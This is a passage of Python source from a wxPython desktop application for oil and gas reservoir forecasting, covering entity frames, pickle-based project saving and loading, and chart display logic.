--------------------------------------------------------------------------------------\r\n    def OnOpenEntityFrame(self, event, type_=None, item=None, item_parent=None):\r\n\r\n        # Do not allow multiple frames of the same entity\r\n        if item is not None:\r\n\r\n            data = item.GetData()\r\n\r\n            if data.IsLocked():\r\n                return\r\n\r\n            else:\r\n                data.Lock()\r\n\r\n        e_mgr = self._entity_mgr\r\n        v_mgr = self._variable_mgr\r\n\r\n        e_page = self.object_menu.entities\r\n        p_page = self.object_menu.projects\r\n\r\n        us = self._settings.GetUnitSystem()\r\n\r\n        if type_ is None:\r\n            type_ = event.GetId()\r\n\r\n        if type_ == ID_FIELD:\r\n            FieldFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_BLOCK:\r\n            BlockFrame(self, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_PLATFORM:\r\n            PlatformFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_PROCESSOR:\r\n            ProcessorFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_PIPELINE:\r\n            PipelineFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_PRODUCER:\r\n            ProducerFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_INJECTOR:\r\n            InjectorFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_RESERVOIR:\r\n            ReservoirFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_THEME:\r\n            ThemeFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_POLYGON:\r\n            PolygonFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_ANALOGUE:\r\n            AnalogueFrame(self, us, e_mgr, e_page, item=item).Show()\r\n\r\n        elif type_ == ID_TYPECURVE:\r\n            TypecurveFrame(self, us, e_mgr, e_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_SCALING:\r\n            ScalingFrame(self, us, e_mgr, self.object_menu, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_PROJECT:\r\n            ProjectFrame(self, e_mgr, p_page, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_HISTORY:\r\n            HistoryFrame(self, self._settings, v_mgr, e_mgr, self.object_menu, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_SCENARIO:\r\n            ScenarioFrame(self, e_mgr, self.object_menu, item=item, item_parent=item_parent).Show()\r\n\r\n        elif type_ == ID_PREDICTION:\r\n            PredictionFrame(self, self._settings, v_mgr, e_mgr, p_page, item=item, item_parent=item_parent).Show()\r\n\r\n    # variables frames -------------------------------------------------------------------------------------------------\r\n    def OnOpenVariableFrame(self, event, type_id=None, item=None):\r\n        # Do not allow multiple frames of the same variable\r\n        if item is not None:\r\n            data = item.GetData()\r\n            if data.IsLocked():\r\n                return\r\n            else:\r\n                data.Lock()\r\n\r\n        if type_id is None:\r\n            type_id = event.GetId()\r\n\r\n        if type_id in (ID_POTENTIAL, ID_RATE, ID_CUMULATIVE, ID_RATIO):\r\n            ProductionVariableFrame(self, self._variable_mgr, item=item).Show()\r\n\r\n        elif type_id == ID_SUMMARY:\r\n            SummaryVariableFrame(self, self._variable_mgr, self.object_menu, item=item).Show()\r\n\r\n    # open correlation frames ------------------------------------------------------------------------------------------\r\n    def OnOpenEntityCorrelationFrame(self, event):\r\n        if self._corr_ent_locked:\r\n            return\r\n\r\n        self._corr_ent_locked = True\r\n        EntityCorrelationFrame(self, self._entity_mgr, self.object_menu.entities).Show()\r\n\r\n    def OnOpenVariableCorrelationFrame(self, event):\r\n        if self._corr_var_locked:\r\n            return\r\n\r\n        self._corr_var_locked = True\r\n        VariableCorrelationFrame(self, self._variable_mgr, self.object_menu.variables).Show()\r\n\r\n    # File functions ---------------------------------------------------------------------------------------------------\r\n    def SetPersistenceFile(self):\r\n        persistence_file = os.path.join(os.path.dirname(self._project_path), 'persist')\r\n        self._persist_mgr.SetPersistenceFile(persistence_file)\r\n\r\n    def OnSave(self, event):\r\n        if self._project_path is None:\r\n            self.OnSaveAs(None)\r\n            return\r\n\r\n        # save chart state prior to saving\r\n        self.SaveChartState()\r\n\r\n        # pickling\r\n        fid2 = open(self._project_path, 'wb')\r\n        gc.disable()\r\n\r\n        pickler = pickle.Pickler(fid2, pickle.HIGHEST_PROTOCOL)\r\n        pickler.fast = 1\r\n\r\n        object_ = SaveObject()\r\n        object_.Set(self._settings, self._variable_mgr, self._entity_mgr, self._chart_mgr, self.object_menu.Save(), None)\r\n        pickler.dump(object_)\r\n\r\n        fid2.close()\r\n        gc.enable()\r\n\r\n        # persisting\r\n        self.SetPersistenceFile()  # TODO: should probably be done in SaveAs and Open only\r\n        self._persist_mgr.Register(self.object_menu.notebook)\r\n        self._persist_mgr.Register(self.display.notebook)\r\n        self._persist_mgr.SaveAndUnregister(self.object_menu.notebook)\r\n        self._persist_mgr.SaveAndUnregister(self.display.notebook)\r\n\r\n    def OnSaveAs(self, event):\r\n        # get file path\r\n        path = GetFilePath(self)\r\n        if path is None:\r\n            return\r\n\r\n        # ensure file has .alv extension\r\n        path = os.path.splitext(path)[0] + '.alv'\r\n\r\n        self._project_path = path\r\n        self.OnSave(None)\r\n\r\n    def OnOpenProject(self, event):\r\n        # test for already open project\r\n        if self.OnCloseProject(None):\r\n            return\r\n\r\n        filename = GetFilePath(self, wildcard='Alveus files (*.alv)|*.alv')\r\n        if filename is None:\r\n            return\r\n\r\n        #filename = r'C:\\Users\\Frederik\\Desktop\\alveus_save\\test.alv'\r\n        #filename = r'\\\\main.glb.corp.local\\EP-DK$\\Home\\COP\\3\\J0514243\\Desktop\\Alveus data\\test.alv'\r\n\r\n        # pickling\r\n        fid2 = open(filename, 'rb')\r\n        object_ = pickle.load(fid2)\r\n        fid2.close()\r\n\r\n        # load managers and gui\r\n        self._project_path = filename\r\n        settings, variable_mgr, entity_mgr, chart_mgr, object_menu, display = object_.Get()\r\n        self._settings = settings\r\n        self._variable_mgr = variable_mgr\r\n        self._entity_mgr = entity_mgr\r\n        self._chart_mgr = chart_mgr\r\n\r\n        self.object_menu.Initialize()\r\n        self.object_menu.Load(object_menu)\r\n        self.ribbon.EnableButtons(True, self._entity_mgr)\r\n        self.RestoreDisplay()\r\n        self._enabled = True\r\n\r\n        # persist\r\n        self.SetPersistenceFile()\r\n        self._persist_mgr.RegisterAndRestore(self.object_menu.notebook)\r\n        self._persist_mgr.RegisterAndRestore(self.display.notebook)\r\n\r\n    def OnCloseProject(self, event):\r\n\r\n        # test whether or not user wants to save prior to closing\r\n        if self._project_path is not None:\r\n            warning = wx.MessageDialog(self, 'Would you like to save the current project prior to starting a new one?',\r\n                                       caption='Save', style=wx.YES_NO | wx.CANCEL | wx.CENTER)\r\n\r\n            answer = warning.ShowModal()\r\n\r\n            if answer == wx.ID_YES:\r\n\r\n                self.OnSave(None)\r\n\r\n            elif answer == wx.ID_NO:\r\n\r\n                pass\r\n\r\n            elif answer == wx.ID_CANCEL:\r\n\r\n                return True\r\n\r\n        self.display.Clear()\r\n        self.object_menu.Clear()\r\n        self.ribbon.EnableButtons(False)\r\n\r\n        self._enabled = False\r\n        self._project_path = None\r\n        self._settings = None\r\n        self._variable_mgr = None\r\n        self._entity_mgr = None\r\n        self._chart_mgr = None\r\n\r\n        return False\r\n\r\n    def OnNewProject(self, event):\r\n        # test for already open project\r\n        if self.OnCloseProject(None):\r\n            return\r\n\r\n        filename = GetFilePath(self)\r\n        if filename is None:\r\n            return\r\n\r\n        #filename = r'C:\\Users\\Frederik\\Desktop\\alveus_save\\test.alv'\r\n        #filename = r'\\\\main.glb.corp.local\\EP-DK$\\Home\\COP\\3\\J0514243\\Desktop\\Alveus data\\test.alv'\r\n        self._project_path = filename\r\n        self._enabled = True\r\n\r\n        # initialise managers\r\n        self._settings = Settings()\r\n        self._variable_mgr = VariableManager(self._settings.GetUnitSystem())\r\n        self._entity_mgr = EntityManager()\r\n        self._chart_mgr = ChartManager()\r\n\r\n        # initialise gui objects\r\n        self.object_menu.Initialize()\r\n        self.object_menu.Populate(self._variable_mgr)\r\n        self.ribbon.EnableButtons(True, self._entity_mgr)\r\n\r\n    def OnProjectSettings(self, event):\r\n        SettingsFrame(self, self._settings, self.object_menu.variables).Show()\r\n\r\n    # ==================================================================================================================\r\n    # Display Functions\r\n    # ==================================================================================================================\r\n    # Change display page functions ------------------------------------------------------------------------------------\r\n    def OnPageChanging(self, event):\r\n        self.PageChanging(event.GetSelection())\r\n\r\n    def PageChanging(self, idx):\r\n        self.SaveChartState()\r\n        self.display.SetActiveWindow(idx)\r\n\r\n    def OnPageChanged(self, event):\r\n        ids = self.display.GetActiveIds()\r\n        if ids is not None:\r\n            self.LoadChartState(*ids)\r\n\r\n            # loop over all charts on window and refresh if required\r\n            window = self._chart_mgr.GetWindow(ids[0])\r\n            window_panel = self.display.GetActiveWindow()\r\n\r\n            for chart, chart_panel in zip(window.GetCharts(), window_panel.GetCharts()):\r\n                if chart.DoRefresh():\r\n                    self.DisplayChart(chart, chart_panel)\r\n                    chart.SetRefresh(False)\r\n\r\n        else:  # window without chart\r\n            self.object_menu.DefaultItemTypes()\r\n            self.display.EnableOptionsBar(False)\r\n\r\n    def OnPageClosing(self, event):\r\n        self.PageClosing(event.GetSelection())\r\n\r\n    def PageClosing(self, index):\r\n        if index is not None:\r\n            self.object_menu.windows.WindowClosed(self.display.GetWindowId(index))\r\n\r\n        self.SaveChartState()\r\n\r\n    def OnPageClosed(self, event):\r\n        self.PageClosed()\r\n\r\n    def PageClosed(self):\r\n        count = self.display.notebook.GetPageCount() - 1\r\n\r\n        if not count:\r\n            self.object_menu.DefaultItemTypes()\r\n            self.display.SetActiveWindow(None)\r\n            self.display.EnableOptionsBar(False)\r\n\r\n    def PageOpening(self, window):\r\n        self.display.AddWindow(window)\r\n        self.display.EnableOptionsBar(True)\r\n\r\n        charts = self.GetDrawableCharts(window)\r\n\r\n        # add charts to window\r\n        for chart in charts:\r\n            self.display.AddChart(window, chart)\r\n\r\n        self.DrawCharts(window.GetId(), charts)\r\n\r\n    def RestoreDisplay(self):\r\n        items = self.object_menu.windows.GetCheckedItems()\r\n\r\n        for item in items:\r\n            data = item.GetData()\r\n            if data.IsWindow():\r\n                window = self._chart_mgr.GetWindow(data.GetId())\r\n                self.PageOpening(window)\r\n\r\n    def GetDrawableCharts(self, window):\r\n        if window.AllowSplit():\r\n            # get charts from object_menu to ensure correct ordering of charts and to only use enabled charts\r\n            id_ = window.GetId()\r\n            items = self.object_menu.windows.GetCheckedChartItems(id_)\r\n            charts = [self._chart_mgr.GetChart(id_, i.GetData().GetId()) for i in items]\r\n        else:\r\n            # only contains one chart\r\n            charts = window.GetCharts()\r\n\r\n        return charts\r\n\r\n    def DrawCharts(self, window_id, charts):\r\n        for chart in charts:\r\n            self.ActivateChart(window_id, chart.GetId(), save_state=False)\r\n\r\n            # pre-drawing chart to ensure correct sizing\r\n            self.DisplayChart()\r\n\r\n            self.DisplayChart(chart)\r\n\r\n    def SaveChartState(self):\r\n        # save existing chart state\r\n        ids = self.display.GetActiveIds()\r\n        if ids is not None:\r\n            self.object_menu.SaveState(*ids)\r\n\r\n            chart = self._chart_mgr.GetChart(*ids)\r\n            chart.SetState(*self.display.GetState())\r\n\r\n    def LoadChartState(self, window_id, chart_id):\r\n        # load new chart state\r\n        chart = self._chart_mgr.GetChart(window_id, chart_id)\r\n\r\n        self.object_menu.LoadState(window_id, chart_id, chart)\r\n        self.display.SetState(chart)\r\n\r\n        self.display.SetActiveChart(window_id, chart_id)\r\n\r\n    def DisplayChart(self, chart=None, chart_panel=None):\r\n\r\n        if chart_panel is None:\r\n            chart_panel = self.display.GetActiveChart()\r\n\r\n            if chart_panel is None:\r\n                return\r\n\r\n        if chart is not None:\r\n            chart_type = chart.GetType()\r\n        else:\r\n            chart_type = None\r\n\r\n        if self._present:\r\n            size_options = self._settings.GetPresentSizeOptions()\r\n        else:\r\n            size_options = self._settings.GetNormalSizeOptions()\r\n\r\n        settings = self._settings\r\n\r\n        # 2D line charts\r\n        if chart_type == ID_CHART_CARTESIAN:\r\n\r\n            # gather input\r\n            _, x, _, _ = self.object_menu.variables.GetAxis(*chart_panel.GetIds())\r\n            if x is not None:\r\n                x = self._variable_mgr.GetVariable(x.GetId())\r\n\r\n            variables = self._variable_mgr.GetVariables(self.object_menu.variables.GetPointers())\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n            simulations = self._entity_mgr.GetEntities(self.object_menu.projects.GetPointers())\r\n\r\n            # gather options\r\n            show_data = self.display.options_bar.GetShowData()\r\n            show_uncertainty = self.display.options_bar.GetShowUncertainty()\r\n            split_by = self.display.options_bar.GetSplitBy()\r\n            group_by = self.display.options_bar.GetGroupBy()\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.MergeLines(x, variables, entities, simulations, size_options, settings, show_data=show_data,\r\n                                 show_uncertainty=show_uncertainty, split_by=split_by, group_by=group_by)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        elif chart_type == ID_CHART_STACKED:\r\n\r\n            # gather input\r\n            _, x, _, _ = self.object_menu.variables.GetAxis(*chart_panel.GetIds())\r\n            if x is not None:\r\n                x = self._variable_mgr.GetVariable(x.GetId())\r\n\r\n            variables = self._variable_mgr.GetVariables(self.object_menu.variables.GetPointers())\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n            simulations = self._entity_mgr.GetEntities(self.object_menu.projects.GetPointers())\r\n\r\n            # gather options\r\n            split_by = self.display.options_bar.GetSplitBy()\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.MergeStackedLines(x, variables, entities, simulations, size_options, split_by=split_by)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        elif chart_type == ID_CHART_BAR:\r\n\r\n            # gather input\r\n            sort, _, _, _ = self.object_menu.variables.GetAxis(*chart_panel.GetIds())\r\n            if sort is not None:\r\n                sort = self._variable_mgr.GetVariable(sort.GetId())\r\n\r\n            # gather input\r\n            variables = self._variable_mgr.GetVariables(self.object_menu.variables.GetPointers())\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n            simulations = self._entity_mgr.GetEntities(self.object_menu.projects.GetPointers())\r\n\r\n            # gather options\r\n            split_by = self.display.options_bar.GetSplitBy()\r\n            group_by = self.display.options_bar.GetGroupBy()\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.MergeBars(variables, entities, simulations, split_by=split_by, group_by=group_by, sort_by=sort)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        elif chart_type == ID_CHART_BUBBLE:\r\n\r\n            # gather input\r\n            _, x, y, z = self.object_menu.variables.GetAxis(*chart_panel.GetIds())\r\n\r\n            if x is not None:\r\n                x = self._variable_mgr.GetVariable(x.GetId())\r\n\r\n            if y is not None:\r\n                y = self._variable_mgr.GetVariable(y.GetId())\r\n\r\n            if z is not None:\r\n                z = self._variable_mgr.GetVariable(z.GetId())\r\n\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n            simulations = self._entity_mgr.GetEntities(self.object_menu.projects.GetPointers())\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.MergeBubbles(x, y, z, entities, simulations)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        elif chart_type == ID_CHART_HISTOGRAM:\r\n\r\n            # gather input\r\n            variables = self._variable_mgr.GetVariables(self.object_menu.variables.GetPointers())\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n            simulations = self._entity_mgr.GetEntities(self.object_menu.projects.GetPointers())\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.MergeHistograms(variables, entities, simulations, size_options)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        elif chart_type == ID_CHART_MAP:\r\n\r\n            # gather input\r\n            variables = self._variable_mgr.GetVariables(self.object_menu.variables.GetPointers())\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n            simulations = self._entity_mgr.GetEntities(self.object_menu.projects.GetPointers())\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.MergeMaps(variables, entities)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        elif chart_type == ID_CHART_3D:\r\n\r\n            # gather input\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.Merge3D(entities)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        elif chart_type == ID_CHART_FIT:\r\n\r\n            entities = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n\r\n            # get x and y variables from variable_mgr\r\n            xs = self._variable_mgr.GetVariables(('date', 'oil_cumulative', 'date'))\r\n            ys = self._variable_mgr.GetVariables(('liquid_potential', 'water_cut', 'gas_oil_ratio'))\r\n\r\n\r\n            if entities:\r\n                analogue = entities[0]\r\n                profile = analogue.GetHistory()\r\n\r\n                # get models from analogue Functions property\r\n                functions = analogue.GetProperties().functions\r\n                ms = [f.GetModels() if f is not None else () for f in functions.Get()]\r\n\r\n            else:\r\n                profile = None\r\n                ms = ()\r\n\r\n            # generate axes item\r\n            axes_item = AxesItem()\r\n            axes_item.MergeFits(profile, xs, ys, ms, size_options)\r\n\r\n            chart_panel.Realize(axes_item, size_options)\r\n\r\n        # elif chart_type == ID_CHART_PROFILES:\r\n        #\r\n        #     # gather input\r\n        #     parent = self._entity_mgr.GetEntities(self.object_menu.entities.GetPointers())\r\n        #\r\n        #     if parent:\r\n        #         entities = self._entity_mgr.GetChildren(parent[0])\r\n        #     else:\r\n        #         entities = []\r\n        #\r\n        #     # generate axes item\r\n        #     axes_item = AxesItem()\r\n        #     axes_item.MergeProfiles(entities)\r\n        #\r\n        #     chart_panel.Realize(axes_item)\r\n\r\n        else:\r\n            chart_panel.Realize(size_options=size_options)\r\n\r\n    def OnCloseApplication(self, event):\r\n        plt.close('all')  # due to import of mpl.use('WXAGG') in charts.py the MainLoop hangs without this code\r\n        event.Skip()\r\n\r\n    # ==================================================================================================================\r\n    # PyPubSub receivers\r\n    # ==================================================================================================================\r\n    def ActivateChart(self, window_id, chart_id, save_state=True):\r\n        if save_state:\r\n            self.SaveChartState()\r\n\r\n        self.LoadChartState(window_id, chart_id)\r\n\r\n    def EntityAdded(self, id_, type_):\r\n        # ensure added entity has ChangeState objects in object_menu pointer for each window and chart in chart_mgr\r\n        item = self.ReverseEntityPointer(id_, type_)\r\n        data = item.GetData()\r\n\r\n        for window_id, chart_ids in self._chart_mgr.GetAllIds().items():\r\n            data.AddWindowState(window_id)\r\n\r\n            for chart_id in chart_ids:\r\n                data.AddChartState(window_id, chart_id)\r\n\r\n        # Activate chart to assign correct checkbox to item\r\n        ids = self.display.GetActiveIds()\r\n        if ids is not None:\r\n            self.ActivateChart(*ids, save_state=True)\r\n\r\n        self.UpdateDependencies()\r\n\r\n    def SummaryAdded(self, id_):\r\n        # ensure added summary has ChangeState objects in object_menu pointer for each window and chart in chart_mgr\r\n        item = self.ReverseSummaryPointer(id_)\r\n        data = item.GetData()\r\n\r\n        for window_id, chart_ids in self._chart_mgr.GetAllIds().items():\r\n            data.AddWindowState(window_id)\r\n\r\n            for chart_id in chart_ids:\r\n                data.AddChartState(window_id, chart_id)\r\n\r\n        self._entity_mgr.AddSummary(id_)\r\n\r\n    def PointerUpdated(self, checked, id_, type_=None):\r\n        # refresh current window to display changes\r\n        if checked:\r\n            self.SaveChartState()\r\n            self.RedisplayChart()\r\n\r\n        # find item of updated entity/variable\r\n        if type_ is not None:\r\n            item = self.ReverseEntityPointer(id_, type_)\r\n        else:\r\n            item = self.ReverseVariablePointer(id_)\r\n\r\n        # loop through all charts where the pointer is checked and set them to refresh next time their window is clicked\r\n        ids = self.display.GetActiveIds()\r\n        states = item.GetData().GetChartStates()\r\n        for window_id in states:\r\n            for chart_id in states[window_id]:\r\n                state = states[window_id][chart_id]\r\n\r\n                if state.IsChecked() and ((ids is None) or (window_id != ids[0])):\r\n                    chart = self._chart_mgr.GetChart(window_id, chart_id)\r\n                    chart.SetRefresh(True)\r\n\r\n    def EntityCorrelationClosed(self):\r\n        self._corr_ent_locked = False\r\n\r\n    def VariableCorrelationClosed(self):\r\n        self._corr_var_locked = False\r\n\r\n    def SettingsUpdated(self):\r\n        self.SaveChartState()\r\n        self.RedisplayChart()\r\n\r\n    # ==================================================================================================================\r\n    # Auxiliary methods\r\n    # ==================================================================================================================\r\n    def ReverseEntityPointer(self, id_, type_):\r\n        items = self.object_menu.entities.GetItemsByType(type_)\r\n        items += self.object_menu.projects.GetItemsByType(type_)\r\n\r\n        return {i.GetData().GetId(): i for i in items}[id_]\r\n\r\n    def ReverseVariablePointer(self, id_):\r\n        return self.object_menu.variables.GetItemsById(id_)[0]\r\n\r\n    def ReverseSummaryPointer(self, id_):\r\n        return self.object_menu.variables.GetItemsById(id_, parent=self.object_menu.variables.summaries)[0]\r\n\r\n    # ==================================================================================================================\r\n    # Copy, Cut and Paste methods\r\n    # ==================================================================================================================\r\n    def OnCopyEntities(self, event, tree, items, cut=False):\r\n        self.CopyEntities(tree, items, cut=cut)\r\n\r\n    def CopyEntities(self, tree, items, cut=False):\r\n\r\n        if not self.BeginDragAndCopy(tree, items):\r\n            return\r\n\r\n        self._copy_tree = tree\r\n        self._copy_items = items\r\n        self._cut = cut\r\n\r\n    def OnPasteEntities(self, event, tree, paste_target):\r\n        self.PasteEntities(tree, paste_target)\r\n\r\n    def PasteEntities(self, tree, paste_target):\r\n        if self._copy_items is None:\r\n            return\r\n\r\n        # cut items have to have their image enabled even if cut event fails\r\n        self._copy_tree.GetParent().EnableCutItems(self._copy_items)\r\n\r\n        if tree is not self._copy_tree:\r\n            return\r\n\r\n        index, target = self.EndDragAndCopy(self._copy_items, paste_target)\r\n\r\n        if (index is None) or (target is None):\r\n            return\r\n\r\n        self.MoveEntityNodes(target, self._copy_items, index, tree, copy=not self._cut)\r\n\r\n        self._copy_tree = None\r\n        self._copy_items = None\r\n        self._cut = False\r\n\r\n\r\n# ======================================================================================================================\r\n# Save class\r\n# ======================================================================================================================\r\nclass SaveObject:\r\n    def __init__(self):\r\n        self._settings = None\r\n        self._variable_mgr = None\r\n        self._entity_mgr = None\r\n        self._chart_mgr = None\r\n        self._object_menu = None    # not the actual object menu, but the state\r\n        self._display = None        # not the actual display, but the state\r\n\r\n    def Get(self):\r\n        return self._settings, self._variable_mgr, self._entity_mgr, self._chart_mgr, self._object_menu, self._display\r\n\r\n    def Set(self, settings, variable_mgr, entity_mgr, chart_mgr, object_menu, display):\r\n        self._settings = settings\r\n        self._variable_mgr = variable_mgr\r\n        self._entity_mgr = entity_mgr\r\n        self._chart_mgr = chart_mgr\r\n        self._object_menu = object_menu\r\n        self._display = display\r\n\r\n\r\n# ======================================================================================================================\r\n# Helper functions\r\n# ======================================================================================================================\r\ndef GetPrimaryChildrenInput(type_):\r\n    if type_ == ID_SIMULATIONS:\r\n        child_types = (ID_PROJECT,)\r\n        texts = ('project',)\r\n        icons = (ico.project_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_PROJECT:\r\n        child_types = (ID_HISTORY, ID_SCENARIO)\r\n        texts = ('history', 'scenario')\r\n        icons = (ico.history_match_16x16.GetBitmap(), ico.scenario_16x16.GetBitmap())\r\n\r\n    elif type_ == ID_SCENARIO:\r\n        child_types = (ID_PREDICTION,)\r\n        texts = ('prediction',)\r\n        icons = (ico.prediction_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_FIELDS:\r\n        child_types = (ID_FIELD,)\r\n        texts = ('field',)\r\n        icons = (ico.field_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_BLOCKS:\r\n        child_types = (ID_BLOCK,)\r\n        texts = ('block',)\r\n        icons = (ico.block_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_FACILITIES:\r\n        child_types = (ID_PLATFORM, ID_PIPELINE)\r\n        texts = ('platform', 'pipeline')\r\n        icons = (ico.platforms_16x16.GetBitmap(), ico.pipeline_16x16.GetBitmap())\r\n\r\n    elif type_ == ID_PLATFORM:\r\n        child_types = (ID_PROCESSOR,)\r\n        texts = ('processor',)\r\n        icons = (ico.processor_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_SUBSURFACE:\r\n        child_types = (ID_RESERVOIR,)\r\n        texts = ('reservoir',)\r\n        icons = (ico.reservoir_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_RESERVOIR:\r\n        child_types = (ID_THEME,)\r\n        texts = ('theme',)\r\n        icons = (ico.theme_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_THEME:\r\n        child_types = (ID_POLYGON,)\r\n        texts = ('polygon',)\r\n        icons = (ico.polygon_16x16.GetBitmap(),)\r\n\r\n    elif type_ == ID_POLYGON:\r\n        child_types = (ID_PRODUCER, ID_INJECTOR)\r\n        texts = ('producer', 'injector')\r\n        icons = (ico.producer_oil_gas_16x16.GetBitmap(), ico.injector_wag_16x16.GetBitmap())\r\n\r\n    elif type_ == ID_PORTFOLIO:\r\n        child_types = (ID_ANALOGUE, ID_SCALING)\r\n        texts = ('analogue', 'scaling')\r\n        icons = (ico.analogue_16x16.GetBitmap(), ico.scaling_chart_16x16.GetBitmap())\r\n\r\n    elif type_ == ID_ANALOGUE:\r\n        child_types = (ID_TYPECURVE,)\r\n        texts = ('typecurve',)\r\n        icons = (ico.trend_chart_16x16.GetBitmap(),)\r\n\r\n    else:\r\n        child_types = ()\r\n        texts = ()\r\n        icons = ()\r\n\r\n    return child_types, texts, icons\r\n", "repo_name": "FrederikLehn/alveus", "sub_path": "alveus/main_frame.py", "file_name": "main_frame.py", "file_ext": "py", "file_size_in_byte": 80080, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wx.lib.agw.persist.Frame", "line_number": 49, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 49, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.DEFAULT_FRAME_STYLE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 51, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.PersistenceManager.Get", "line_number": 60, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist.PersistenceManager", "line_number": 60, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.Panel", "line_number": 63, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 63, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.SplitterWindow", "line_number": 64, "usage_type": "call"}, {"api_name": "wx.lib.agw.persist", "line_number": 64, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.ID_ANY", "line_number": 64, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist.SP_THIN_SASH", "line_number": 64, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist.SP_LIVE_UPDATE", "line_number": 64, "usage_type": "attribute"}, {"api_name": "ribbon.Ribbon", "line_number": 67, "usage_type": "call"}, {"api_name": "object_menu.ObjectMenu", "line_number": 68, "usage_type": "call"}, {"api_name": "display.Display", "line_number": 69, "usage_type": "call"}, {"api_name": "wx.lib.agw.customtreectrl.EVT_TREE_ITEM_CHECKED", "line_number": 97, "usage_type": "argument"}, {"api_name": "wx.lib.agw.customtreectrl.EVT_TREE_ITEM_CHECKED", "line_number": 98, "usage_type": "argument"}, {"api_name": "wx.lib.agw.customtreectrl.EVT_TREE_ITEM_CHECKED", "line_number": 99, "usage_type": "argument"}, {"api_name": "wx.lib.agw.customtreectrl.EVT_TREE_ITEM_CHECKED", "line_number": 100, "usage_type": "argument"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_ITEM_RIGHT_CLICK", "line_number": 103, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 103, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_ITEM_ACTIVATED", "line_number": 104, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 104, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_ITEM_RIGHT_CLICK", "line_number": 105, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 105, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_ITEM_ACTIVATED", "line_number": 106, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 106, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_ITEM_RIGHT_CLICK", "line_number": 107, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 107, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_ITEM_ACTIVATED", "line_number": 108, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 108, "usage_type": "name"}, {"api_name": "wx.lib.agw.persist.EVT_TREE_ITEM_RIGHT_CLICK", "line_number": 109, "usage_type": "attribute"}, {"api_name": "wx.lib.agw.persist", "line_number": 109, "usage_type": "name"}, {"api_name": 